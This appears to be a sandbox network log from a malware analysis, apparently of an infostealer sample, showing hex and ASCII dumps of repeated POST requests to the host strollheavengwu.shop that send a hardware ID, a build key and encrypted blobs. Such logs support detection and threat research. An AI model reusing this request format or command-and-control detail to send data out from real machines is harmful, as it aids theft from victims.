2024-04-20 20:06:59 UTC	1369	IN	Data Raw: 39 44 6b 57 41 67 79 32 47 6c 2b 6d 34 68 56 73 57 35 31 79 71 64 4b 4a 75 66 55 33 68 65 65 79 77 37 72 36 52 65 42 71 73 31 77 76 34 52 43 63 6b 75 77 4c 58 65 62 69 45 4f 62 52 52 36 45 72 46 6c 68 74 4a 32 61 4e 6f 6e 46 46 65 50 6b 58 75 58 4a 33 6a 6e 46 34 6c 34 53 4b 74 4a 6f 66 4a 72 4c 43 64 6f 45 58 73 54 49 4f 51 33 2f 6b 59 5a 79 30 59 70 65 79 74 6c 67 79 6f 47 36 56 63 69 68 4d 33 45 35 73 77 59 62 31 38 38 58 6d 56 31 63 79 71 46 61 59 62 47 53 6a 44 79 62 78 68 6e 74 37 46 2f 68 78 74 34 77 32 66 31 54 47 79 44 56 59 6e 69 65 7a 42 72 64 41 52 4b 4e 34 42 77 4f 31 50 33 65 4e 5a 47 49 52 71 2b 71 66 2b 72 62 79 48 7a 35 35 46 73 64 4d 4d 31 32 4d 50 2b 6a 42 4a 64 74 64 5a 50 49 4f 51 33 2f 6b 5a 4a 79 30 59 70 65 36 65 46 64 34 4d 4c 62 Data Ascii: 9DkWAgy2Gl+m4hVsW51yqdKJufU3heeyw7r6ReBqs1wv4RCckuwLXebiEObRR6ErFlhtJ2aNonFFePkXuXJ3jnF4l4SKtJofJrLCdoEXsTIOQ3/kYZy0YpeytlgyoG6VcihM3E5swYb188XmV1cyqFaYbGSjDybxhnt7F/hxt4w2f1TGyDVYniezBrdARKN4BwO1P3eNZGIRq+qf+rbyHz55FsdMM12MP+jBJdtdZPIOQ3/kZJy0Ype6eFd4MLb
2024-04-20 20:06:59 UTC	955	IN	Data Raw: 49 5a 4c 4e 31 73 66 70 66 47 47 35 6c 4c 64 75 48 4c 45 6d 47 6e 31 73 5a 77 79 65 67 56 2b 2f 39 55 2b 63 66 56 4d 70 65 48 4d 41 56 75 73 77 5a 70 2f 36 4e 77 6d 51 49 53 79 76 67 51 4a 72 47 45 6d 6a 4f 4a 77 42 66 68 34 56 2f 37 78 74 55 31 32 65 46 51 48 69 7a 53 5a 6e 6d 53 78 42 72 53 44 42 75 4f 71 6c 52 72 2f 39 6a 32 57 65 4b 49 47 66 57 71 44 36 75 42 2f 6a 33 59 35 42 74 79 53 38 51 6a 47 50 7a 52 63 37 4a 75 58 6f 32 73 45 6a 37 39 31 70 6b 36 67 63 59 64 36 2b 46 62 35 63 44 62 4f 4e 4c 6e 58 42 55 6e 30 6d 70 77 6b 64 6f 63 31 41 77 65 67 61 6c 59 59 72 36 64 33 6e 7a 68 6f 33 57 74 37 55 2b 70 6d 5a 42 2b 35 65 68 4e 43 69 4f 62 42 52 75 49 68 6e 43 78 62 67 66 69 79 7a 6b 6d 75 4a 72 65 61 73 75 49 45 2f 2f 72 55 76 76 46 33 54 58 46 35 Data Ascii: IZLN1sfpfGG5lLduHLEmGn1sZwyegV+/9U+cfVMpeHMAVuswZp/6NwmQISyvgQJrGEmjOJwBfh4V/7xtU12eFQHizSZnmSxBrSDBuOqlRr/9j2WeKIGfWqD6uB/j3Y5BtyS8QjGPzRc7JuXo2sEj791pk6gcYd6+Fb5cDbONLnXBUn0mpwkdoc1AwegalYYr6d3nzho3Wt7U+pmZB+5ehNCiObBRuIhnCxbgfiyzkmuJreasuIE//rUvvF3TXF5
2024-04-20 20:06:59 UTC	1369	IN	Data Raw: 32 33 66 39 0d 0a 2f 6d 72 74 41 63 4c 4b 33 6b 7a 33 4a 6f 48 58 79 70 44 2b 43 32 4c 70 56 76 4b 39 63 46 6d 43 44 4c 7a 43 65 32 68 2f 55 46 78 65 4e 72 6c 31 6c 72 5a 65 54 4f 5a 76 50 45 65 6e 74 57 2b 2f 4f 31 44 2f 53 35 56 63 64 4a 64 42 69 66 4e 65 47 63 37 4a 75 58 6f 32 34 45 6a 37 39 31 72 41 35 6d 74 38 64 34 2b 46 42 38 6f 47 36 56 63 69 68 4d 33 45 35 73 77 59 62 31 38 38 58 6d 56 31 63 79 71 4e 5a 62 62 75 57 6b 6a 4b 4e 78 52 37 2f 35 56 44 75 79 4e 6b 73 33 65 68 63 45 53 6a 51 59 6e 61 46 78 42 58 4c 41 41 79 59 34 42 77 4f 31 50 33 65 4e 5a 47 49 52 71 2b 71 59 65 37 52 77 6a 32 56 33 6b 30 5a 4e 74 42 67 66 4e 65 67 63 4d 5a 4c 64 75 47 35 4f 67 33 55 31 70 6b 2b 79 5a 42 63 72 65 78 59 34 4d 4c 64 50 39 37 6a 56 68 38 70 33 6d 78 32 Data Ascii: 23f9/mrtAcLK3kz3JoHXypD+C2LpVvK9cFmCDLzCe2h/UFxeNrl1lrZeTOZvPEentW+/O1D/S5VcdJdBifNeGc7JuXo24Ej791rA5mt8d4+FB8oG6VcihM3E5swYb188XmV1cyqNZbbuWkjKNxR7/5VDuyNks3ehcESjQYnaFxBXLAAyY4BwO1P3eNZGIRq+qYe7Rwj2V3k0ZNtBgfNegcMZLduG5Og3U1pk+yZBcrexY4MLdP97jVh8p3mx2
2024-04-20 20:06:59 UTC	1369	IN	Data Raw: 45 50 58 73 54 49 4f 51 33 2f 6b 59 5a 79 30 59 70 65 77 65 6c 47 34 34 50 31 4a 4d 48 6f 56 77 73 72 31 6d 45 77 2f 36 4d 45 6c 32 31 31 6b 38 67 35 44 66 2b 52 6b 6e 4c 52 69 6c 37 74 36 31 72 37 78 4e 4d 30 33 65 4a 54 46 53 58 65 59 6e 53 54 77 78 58 4c 43 78 47 4b 70 6c 6c 6e 75 70 57 56 4f 49 66 42 44 4b 32 6b 50 34 4b 71 6b 6a 6e 50 72 77 4e 59 59 50 46 32 63 5a 72 45 57 66 63 4f 43 49 33 69 63 32 69 30 6b 5a 49 6b 79 61 42 31 38 71 51 2f 67 74 69 36 56 62 79 76 58 42 5a 67 67 79 38 77 6e 73 59 58 32 67 49 57 67 71 56 53 62 62 2b 5a 6c 44 79 4f 32 68 54 68 34 45 58 6d 77 74 38 36 32 75 56 65 45 7a 4c 65 5a 48 62 58 68 6e 4f 79 62 6c 36 4e 75 42 49 2b 2f 64 61 6d 4f 59 66 36 48 66 61 71 50 34 4c 65 6e 46 61 38 39 6a 4e 78 53 35 74 71 66 4e 65 51 57 Data Ascii: EPXsTIOQ3/kYZy0YpewelG44P1JMHoVwsr1mEw/6MEl211k8g5Df+RknLRil7t61r7xNM03eJTFSXeYnSTwxXLCxGKpllnupWVOIfBDK2kP4KqkjnPrwNYYPF2cZrEWfcOCI3ic2i0kZIkyaB18qQ/gti6VbyvXBZggy8wnsYX2gIWgqVSbb+ZlDyO2hTh4EXmwt862uVeEzLeZHbXhnOybl6NuBI+/damOYf6HfaqP4LenFa89jNxS5tqfNeQW
2024-04-20 20:06:59 UTC	1369	IN	Data Raw: 69 79 30 30 6f 31 2f 32 48 57 75 4b 6a 58 75 72 6d 46 37 47 44 6b 6a 58 59 34 56 59 52 4a 4e 4a 6f 65 4a 54 4e 48 74 4d 4a 45 6f 75 6f 57 32 79 36 6b 35 67 34 69 73 59 52 37 4f 5a 54 34 4d 2f 62 66 70 6d 48 4d 48 46 67 33 48 55 77 7a 34 70 62 37 78 55 5a 6b 71 31 43 4a 49 32 56 6a 79 4f 63 78 51 37 72 71 48 6a 71 7a 64 45 37 30 50 38 62 63 6b 76 45 49 78 6a 38 30 58 4f 79 62 6c 36 4e 72 42 49 2b 2f 64 61 65 4e 6f 58 4c 47 65 50 6c 57 75 62 47 32 54 48 64 34 55 6b 56 4a 64 4e 68 65 4a 72 61 45 64 4d 58 46 34 4f 74 58 47 36 74 6c 64 35 38 34 61 4e 31 72 65 31 50 71 5a 6d 51 66 75 58 6c 57 42 59 32 31 6d 49 77 2f 36 4d 45 6c 32 31 31 6b 38 67 35 44 66 2b 52 6b 6e 4c 52 69 6c 37 2f 2b 46 66 69 77 64 55 77 78 65 35 54 46 53 72 62 61 33 75 64 79 78 4c 64 43 78 Data Ascii: iy00o1/2HWuKjXurmF7GDkjXY4VYRJNJoeJTNHtMJEouoW2y6k5g4isYR7OZT4M/bfpmHMHFg3HUwz4pb7xUZkq1CJI2VjyOcxQ7rqHjqzdE70P8bckvEIxj80XOybl6NrBI+/daeNoXLGePlWubG2THd4UkVJdNheJraEdMXF4OtXG6tld584aN1re1PqZmQfuXlWBY21mIw/6MEl211k8g5Df+RknLRil7/+FfiwdUwxe5TFSrba3udyxLdCx
2024-04-20 20:06:59 UTC	1369	IN	Data Raw: 4b 4e 66 39 39 58 4b 62 69 45 61 76 71 68 44 71 30 38 41 34 31 50 6c 59 58 52 37 6c 54 6d 65 42 77 67 43 62 49 78 6d 62 71 55 52 72 72 61 69 67 48 49 54 4a 48 65 4f 6f 5a 76 2f 4d 77 6a 33 53 36 47 55 6b 4c 74 78 35 64 35 6e 4f 47 35 6c 4c 64 75 48 4c 45 6d 6e 2f 7a 74 77 4c 79 59 42 65 30 71 51 2f 67 71 71 53 4a 70 65 33 47 56 6f 56 32 47 4e 2b 6b 4e 34 4b 6c 43 59 4a 6e 4b 70 4a 4a 4a 6d 52 6a 7a 75 66 78 51 79 74 70 44 2b 43 71 70 49 34 6c 37 63 5a 53 6d 36 7a 42 68 76 58 7a 41 71 5a 58 56 7a 61 38 67 6b 7a 37 4d 48 4f 59 4f 47 6a 41 61 4f 43 50 50 43 70 75 56 57 58 2b 52 74 43 59 6f 6b 6a 47 50 79 6a 57 38 74 46 52 73 6a 67 46 57 57 74 68 4a 67 78 6e 38 74 5a 30 39 52 33 34 74 66 54 4d 39 7a 6a 5a 53 51 31 32 47 4e 2b 6b 4e 34 4b 6d 55 74 32 34 63 73 Data Ascii: KNf99XKbiEavqhDq08A41PlYXR7lTmeBwgCbIxmbqURrraigHITJHeOoZv/Mwj3S6GUkLtx5d5nOG5lLduHLEmn/ztwLyYBe0qQ/gqqSJpe3GVoV2GN+kN4KlCYJnKpJJJmRjzufxQytpD+CqpI4l7cZSm6zBhvXzAqZXVza8gkz7MHOYOGjAaOCPPCpuVWX+RtCYokjGPyjW8tFRsjgFWWthJgxn8tZ09R34tfTM9zjZSQ12GN+kN4KmUt24cs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.15.198	443	7396	C:\Users\user\Desktop\LwnI84BBtb.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 20:07:00 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18161 Host: strollheavengwu.shop
2024-04-20 20:07:00 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 34 44 44 31 37 41 31 30 33 44 45 46 46 35 46 35 45 45 36 46 31 43 37 34 32 43 31 43 39 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F54DD17A103DEFF5F5EE6F1C742C1C9F--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-20 20:07:00 UTC	2830	OUT	Data Raw: 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f Data Ascii: 2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?
2024-04-20 20:07:00 UTC	812	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 20:07:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=efchmljkup6e0ep8joobqac6ra; expires=Wed, 14-Aug-2024 13:53:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0ywD56qTV4N6hu4rGAihSyE3lFLuPS2qDQE8oig3oNv9gEfl7p8UsrYnYyf%2B650bK6flBNOEb%2Bv2OhVgVFYF8gALvDKFuGeWTzYw%2BsiTEDGZ9OBfBRQJnAF8%2FYXw%2Fc2QB55CMI4kRQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8777c2118b3bb097-ATL alt-svc: h3=":443"; ma=86400
2024-04-20 20:07:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-20 20:07:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.21.15.198	443	7396	C:\Users\user\Desktop\LwnI84BBtb.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 20:07:00 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8782 Host: strollheavengwu.shop
2024-04-20 20:07:00 UTC	8782	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 34 44 44 31 37 41 31 30 33 44 45 46 46 35 46 35 45 45 36 46 31 43 37 34 32 43 31 43 39 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F54DD17A103DEFF5F5EE6F1C742C1C9F--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-20 20:07:01 UTC	806	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 20:07:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k6v7lqivpqfo2hbndl2b1pbupg; expires=Wed, 14-Aug-2024 13:53:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wmxPTOz7eXuGXfETufS8yWnXKQ5BETPrNOzp6oYs0m7uiL7t8B9gonui1TH6WpVgN0w2il3soEY1aWgfv4YytdiVDMLDjOIFOlyrpcLgpljXbmUp6fLXcqF%2BX0JcwQ3%2BOyCVeFNaKw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8777c216ffbb53b5-ATL alt-svc: h3=":443"; ma=86400
2024-04-20 20:07:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-20 20:07:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	104.21.15.198	443	7396	C:\Users\user\Desktop\LwnI84BBtb.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 20:07:01 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20435 Host: strollheavengwu.shop
2024-04-20 20:07:01 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 34 44 44 31 37 41 31 30 33 44 45 46 46 35 46 35 45 45 36 46 31 43 37 34 32 43 31 43 39 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F54DD17A103DEFF5F5EE6F1C742C1C9F--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-20 20:07:01 UTC	5104	OUT	Data Raw: 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-04-20 20:07:02 UTC	808	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 20:07:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2rrblksvprprcnabn21jvtglt6; expires=Wed, 14-Aug-2024 13:53:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O9PSBDCfygfmc9PNVDrDh53QJ6io0wh9ws4tyqdEENDnn8WpeTUrd1XMwsXdKqgZS1ROPtQwyDpoRdGdAN3TqkNOrJ8nYVI7Ioze9L5i5AsG%2BIvlJgyT0muTd2a7%2FWy4LbP%2BrStcYw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8777c21cc8017bdb-ATL alt-svc: h3=":443"; ma=86400
2024-04-20 20:07:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-20 20:07:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	104.21.15.198	443	7396	C:\Users\user\Desktop\LwnI84BBtb.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 20:07:02 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 3792 Host: strollheavengwu.shop
2024-04-20 20:07:02 UTC	3792	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 34 44 44 31 37 41 31 30 33 44 45 46 46 35 46 35 45 45 36 46 31 43 37 34 32 43 31 43 39 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F54DD17A103DEFF5F5EE6F1C742C1C9F--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-20 20:07:03 UTC	812	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 20:07:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=553q6mtu1nck5a7afo7mt8lequ; expires=Wed, 14-Aug-2024 13:53:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DuFCW7We17%2BRQMViW4ahf6P0YkW6x4fLDgcZKwCVs%2F2npWBY%2BXW2ca6dd07kN0W07r0GDjU1C4EUv%2BThKf51Mt3QUN2x8ROTF%2FUWPZUL9Gxrd0EnxAwcNVbFjq3ThlysC43b3ocHpA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8777c2235ae212d3-ATL alt-svc: h3=":443"; ma=86400
2024-04-20 20:07:03 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-20 20:07:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	104.21.15.198	443	7396	C:\Users\user\Desktop\LwnI84BBtb.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-20 20:07:03 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1391 Host: strollheavengwu.shop
2024-04-20 20:07:03 UTC	1391	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 34 44 44 31 37 41 31 30 33 44 45 46 46 35 46 35 45 45 36 46 31 43 37 34 32 43 31 43 39 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F54DD17A103DEFF5F5EE6F1C742C1C9F--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-20 20:07:04 UTC	814	IN	HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 20:07:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c7gcjmuqihtt88e9e2840ubn62; expires=Wed, 14-Aug-2024 13:53:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EW%2F%2FQbH0qxWF7xnKqk%2FNJU%2BVn3wHfTOCUHiHHAB6EErLzLoijcfPcfyXdQxifDQEkN0p%2B9vr7D3vwGLSFLf13KPCYdepM3xtLVxU8slPk954XuT5UAzKNfozJEQ5ii5E%2FPpg224k1A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8777c2289855673c-ATL 